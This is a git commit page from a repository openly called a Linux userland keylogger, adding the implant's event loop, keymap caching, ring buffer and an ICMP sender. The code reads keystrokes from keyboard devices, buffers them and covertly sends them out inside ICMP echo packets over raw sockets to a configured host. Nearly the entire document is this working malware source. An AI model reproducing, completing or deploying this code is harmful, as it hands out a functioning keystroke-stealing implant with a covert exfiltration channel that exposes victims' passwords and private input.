mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 6698df0f78241ca137b3ebaccf1bb1694ff4a9d0
parent a3b7040afcd7514de1af871aadad6c38c9f21e1d
Author: djnn <[email protected]>
Date: Mon, 12 Jan 2026 22:44:20 +0900

feat(implant): adding ringbuffer + keyboard language caching

Diffstat:
Mmazepa-implant/Makefile | 2+-
Mmazepa-implant/includes/implant.h | 23+++++++++++++++++++++++
Amazepa-implant/sources/evloop.c | 185+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Amazepa-implant/sources/icmp.c | 94+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mmazepa-implant/sources/main.c | 3+++
Amazepa-implant/sources/ringbuf.c | 38++++++++++++++++++++++++++++++++++++++

6 files changed, 344 insertions(+), 1 deletion(-)

diff --git a/mazepa-implant/Makefile b/mazepa-implant/Makefile
@@ -36,7 +36,7 @@ OBJECT_DIR 		= ./objects
 vpath %$(PATTERN) $(SRC_DIR)
 
 MAIN		 	= main.c
-SRC 		 	= opt.c utils.c daemon.c kbd.c
+SRC 		 	= opt.c utils.c daemon.c kbd.c ringbuf.c icmp.c evloop.c
 
 
 COMBINED		= $(SRC) $(MAIN)
diff --git a/mazepa-implant/includes/implant.h b/mazepa-implant/includes/implant.h
@@ -15,6 +15,10 @@
 
 #define QUEUE_BUFFER_SIZE 1024
 #define STRING_BUFFER_SIZE 256
+#define MAX_KEYBOARDS 16
+#define ICMP_DATA_SIZE 56
+#define RINGBUF_SIZE 512
+#define RINGBUF_FLUSH_THRESHOLD (RINGBUF_SIZE - 64)
 
 /* will be overriden at compile-time if prod-mode enabled */
 #define BLOCK_SIZE 64
@@ -25,6 +29,13 @@
 #define KEY ("")
 #define IV ("")
 
+typedef struct ringbuf_s {
+    uint8_t data[RINGBUF_SIZE];
+    size_t head;
+    size_t tail;
+    size_t count;
+} ringbuf_t;
+
 /*
     represents whatever data is currently logged for a single keyboard
     also holds its file descriptor
@@ -99,4 +110,16 @@ int8_t **array_from_string(const int8_t *, int8_t);
 int8_t ascii_to_hex(char input[STRING_BUFFER_SIZE / 2], char output[STRING_BUFFER_SIZE]);
 int8_t hex_to_ascii(char input[STRING_BUFFER_SIZE], char output[STRING_BUFFER_SIZE]);
 
+// ringbuf.c
+void ringbuf_init(ringbuf_t *rb);
+uint8_t ringbuf_push(ringbuf_t *rb, uint8_t byte);
+size_t ringbuf_read(ringbuf_t *rb, uint8_t *dst, size_t len);
+int ringbuf_should_flush(ringbuf_t *rb);
+
+// icmp.c
+uint8_t icmp_send(const int8_t *dst_ip, const uint8_t *payload, size_t len);
+
+// evloop.c
+uint8_t evloop_run(implant_t *instance);
+
 #endif /* IMPLANT_H */
diff --git a/mazepa-implant/sources/evloop.c b/mazepa-implant/sources/evloop.c
@@ -0,0 +1,185 @@
+#include "implant.h"
+
+#include <fcntl.h>
+#include <linux/input.h>
+#include <linux/kd.h>
+#include <linux/keyboard.h>
+#include <string.h>
+#include <sys/epoll.h>
+#include <sys/ioctl.h>
+
+#define MAX_EVENTS 16
+#define KEYMAP_SIZE 256
+
+typedef struct {
+    char normal[KEYMAP_SIZE];
+    char shifted[KEYMAP_SIZE];
+} keymap_cache_t;
+
+static int
+open_console(void) {
+    const char *consoles[] = {"/dev/tty0", "/dev/console", "/dev/tty", NULL};
+
+    for (int i = 0; consoles[i] != NULL; i++) {
+        int fd = open(consoles[i], O_RDONLY | O_NOCTTY);
+        if (fd >= 0)
+            return fd;
+    }
+    return -1;
+}
+
+static void
+cache_keymap(int console_fd, keymap_cache_t *cache) {
+    struct kbentry entry = {0};
+
+    memset(cache, 0, sizeof(*cache));
+
+    cache->normal[KEY_ENTER] = '\n';
+    cache->normal[KEY_KPENTER] = '\n';
+    cache->normal[KEY_TAB] = '\t';
+    cache->normal[KEY_SPACE] = ' ';
+    cache->shifted[KEY_ENTER] = '\n';
+    cache->shifted[KEY_KPENTER] = '\n';
+    cache->shifted[KEY_TAB] = '\t';
+    cache->shifted[KEY_SPACE] = ' ';
+
+    for (int code = 0; code < KEYMAP_SIZE; code++) {
+        if (cache->normal[code] != 0)
+            continue;
+
+        entry.kb_table = K_NORMTAB;
+        entry.kb_index = (unsigned char)code;
+        if (ioctl(console_fd, KDGKBENT, &entry) == 0) {
+            unsigned char type = KTYP(entry.kb_value);
+            if (type == KT_LETTER || type == KT_LATIN)
+                cache->normal[code] = (char)KVAL(entry.kb_value);
+        }
+
+        entry.kb_table = K_SHIFTTAB;
+        entry.kb_index = (unsigned char)code;
+        if (ioctl(console_fd, KDGKBENT, &entry) == 0) {
+            unsigned char type = KTYP(entry.kb_value);
+            if (type == KT_LETTER || type == KT_LATIN)
+                cache->shifted[code] = (char)KVAL(entry.kb_value);
+        }
+    }
+}
+
+static char
+keycode_to_char(keymap_cache_t *cache, uint16_t code, int shift_held) {
+    if (code >= KEYMAP_SIZE)
+        return 0;
+
+    return shift_held ? cache->shifted[code] : cache->normal[code];
+}
+
+static void
+flush_buffer(ringbuf_t *rb, const int8_t *dst_ip) {
+    uint8_t payload[ICMP_DATA_SIZE] = {0};
+    size_t bytes_read;
+
+    bytes_read = ringbuf_read(rb, payload, ICMP_DATA_SIZE);
+    if (bytes_read > 0)
+        icmp_send(dst_ip, payload, bytes_read);
+}
+
+static void
+handle_key_event(keymap_cache_t *cache, struct input_event *ev, ringbuf_t *rb, int *shift_held) {
+    char ch;
+
+    if (ev->type != EV_KEY)
+        return;
+
+    if (ev->code == KEY_LEFTSHIFT || ev->code == KEY_RIGHTSHIFT) {
+        *shift_held = (ev->value != KEY_RELEASED);
+        return;
+    }
+
+    if (ev->value != KEY_PRESSED)
+        return;
+
+    ch = keycode_to_char(cache, ev->code, *shift_held);
+    if (ch != 0)
+        ringbuf_push(rb, (uint8_t)ch);
+}
+
+static int
+setup_epoll(implant_t *instance) {
+    keyboard_t *kbd;
+    struct epoll_event ev;
+    int epfd;
+
+    epfd = epoll_create1(0);
+    if (epfd < 0)
+        return -1;
+
+    TAILQ_FOREACH(kbd, &instance->kbd, devices) {
+        ev.events = EPOLLIN;
+        ev.data.fd = kbd->fd;
+        if (epoll_ctl(epfd, EPOLL_CTL_ADD, kbd->fd, &ev) < 0) {
+#ifdef DEBUG
+            DEBUG_LOG("epoll_ctl failed for fd %d\n", kbd->fd);
+#endif
+            continue;
+        }
+    }
+
+    return epfd;
+}
+
+uint8_t
+evloop_run(implant_t *instance) {
+    struct epoll_event events[MAX_EVENTS];
+    struct input_event ev;
+    keymap_cache_t keymap = {0};
+    ringbuf_t ringbuf = {0};
+    int console_fd;
+    int epfd;
+    int shift_held = 0;
+    int nfds;
+
+    if (!instance)
+        return ERROR;
+
+    console_fd = open_console();
+    if (console_fd < 0) {
+#ifdef DEBUG
+        DEBUG_LOG("evloop: could not open console\n");
+#endif
+        return ERROR;
+    }
+
+    cache_keymap(console_fd, &keymap);
+    close(console_fd);
+
+    ringbuf_init(&ringbuf);
+
+    epfd = setup_epoll(instance);
+    if (epfd < 0) {
+#ifdef DEBUG
+        DEBUG_LOG("evloop: epoll_create1 failed\n");
+#endif
+        return ERROR;
+    }
+
+    for (;;) {
+        nfds = epoll_wait(epfd, events, MAX_EVENTS, -1);
+        if (nfds < 0) {
+#ifdef DEBUG
+            DEBUG_LOG("evloop: epoll_wait failed\n");
+#endif
+            continue;
+        }
+
+        for (int i = 0; i < nfds; i++) {
+            ssize_t bytes = read(events[i].data.fd, &ev, sizeof(ev));
+            if (bytes != sizeof(ev))
+                continue;
+
+            handle_key_event(&keymap, &ev, &ringbuf, &shift_held);
+
+            if (ringbuf_should_flush(&ringbuf))
+                flush_buffer(&ringbuf, instance->ip);
+        }
+    }
+}
diff --git a/mazepa-implant/sources/icmp.c b/mazepa-implant/sources/icmp.c
@@ -0,0 +1,94 @@
+#include "implant.h"
+
+#include <arpa/inet.h>
+#include <netinet/ip_icmp.h>
+#include <string.h>
+#include <sys/socket.h>
+
+typedef struct {
+    struct icmphdr hdr;
+    uint8_t data[ICMP_DATA_SIZE];
+} icmp_packet_t;
+
+static uint16_t
+icmp_checksum(const void *buf, size_t len) {
+    const uint8_t *ptr = buf;
+    uint32_t sum = 0;
+
+    while (len > 1) {
+        uint16_t word;
+        memcpy(&word, ptr, sizeof(word));
+        sum += word;
+        ptr += 2;
+        len -= 2;
+    }
+
+    if (len == 1)
+        sum += *ptr;
+
+    sum = (sum >> 16) + (sum & 0xFFFF);
+    sum += (sum >> 16);
+
+    return (uint16_t)(~sum);
+}
+
+static void
+build_icmp_packet(icmp_packet_t *pkt, const uint8_t *payload, size_t payload_len) {
+    static uint16_t seq = 0;
+
+    memset(pkt, 0, sizeof(*pkt));
+
+    pkt->hdr.type = ICMP_ECHO;
+    pkt->hdr.code = 0;
+    pkt->hdr.un.echo.id = htons((uint16_t)getpid());
+    pkt->hdr.un.echo.sequence = htons(seq++);
+    pkt->hdr.checksum = 0;
+
+    size_t copy_len = payload_len < ICMP_DATA_SIZE ? payload_len : ICMP_DATA_SIZE;
+    memcpy(pkt->data, payload, copy_len);
+
+    pkt->hdr.checksum = icmp_checksum(pkt, sizeof(*pkt));
+}
+
+uint8_t
+icmp_send(const int8_t *dst_ip, const uint8_t *payload, size_t len) {
+    icmp_packet_t packet = {0};
+    struct sockaddr_in dest = {0};
+    int sockfd;
+
+    if (!dst_ip || !payload)
+        return ERROR;
+
+    sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
+    if (sockfd < 0) {
+#ifdef DEBUG
+        DEBUG_LOG("icmp_send: socket creation failed\n");
+#endif
+        return ERROR;
+    }
+
+    dest.sin_family = AF_INET;
+    if (inet_pton(AF_INET, (const char *)dst_ip, &dest.sin_addr) != 1) {
+#ifdef DEBUG
+        DEBUG_LOG("icmp_send: invalid IP address %s\n", dst_ip);
+#endif
+        close(sockfd);
+        return ERROR;
+    }
+
+    build_icmp_packet(&packet, payload, len);
+
+    ssize_t sent = sendto(sockfd, &packet, sizeof(packet), 0,
+                          (struct sockaddr *)&dest, sizeof(dest));
+
+    close(sockfd);
+
+    if (sent < 0) {
+#ifdef DEBUG
+        DEBUG_LOG("icmp_send: sendto failed\n");
+#endif
+        return ERROR;
+    }
+
+    return SUCCESSFUL;
+}
diff --git a/mazepa-implant/sources/main.c b/mazepa-implant/sources/main.c
@@ -32,5 +32,8 @@ int main(
     if (ERROR == fetch_available_keyboards(&instance))
         return 1;
 
+    if (ERROR == evloop_run(&instance))
+        return 1;
+
     return 0;
 }
diff --git a/mazepa-implant/sources/ringbuf.c b/mazepa-implant/sources/ringbuf.c
@@ -0,0 +1,38 @@
+#include "implant.h"
+
+#include <string.h>
+
+void ringbuf_init(ringbuf_t *rb) {
+    memset(rb->data, 0, RINGBUF_SIZE);
+    rb->head = 0;
+    rb->tail = 0;
+    rb->count = 0;
+}
+
+uint8_t
+ringbuf_push(ringbuf_t *rb, uint8_t byte) {
+    if (rb->count >= RINGBUF_SIZE)
+        return ERROR;
+
+    rb->data[rb->head] = byte;
+    rb->head = (rb->head + 1) % RINGBUF_SIZE;
+    rb->count++;
+    return SUCCESSFUL;
+}
+
+size_t
+ringbuf_read(ringbuf_t *rb, uint8_t *dst, size_t len) {
+    size_t bytes_read = 0;
+
+    while (bytes_read < len && rb->count > 0) {
+        dst[bytes_read] = rb->data[rb->tail];
+        rb->tail = (rb->tail + 1) % RINGBUF_SIZE;
+        rb->count--;
+        bytes_read++;
+    }
+    return bytes_read;
+}
+
+int ringbuf_should_flush(ringbuf_t *rb) {
+    return rb->count >= RINGBUF_FLUSH_THRESHOLD;
+}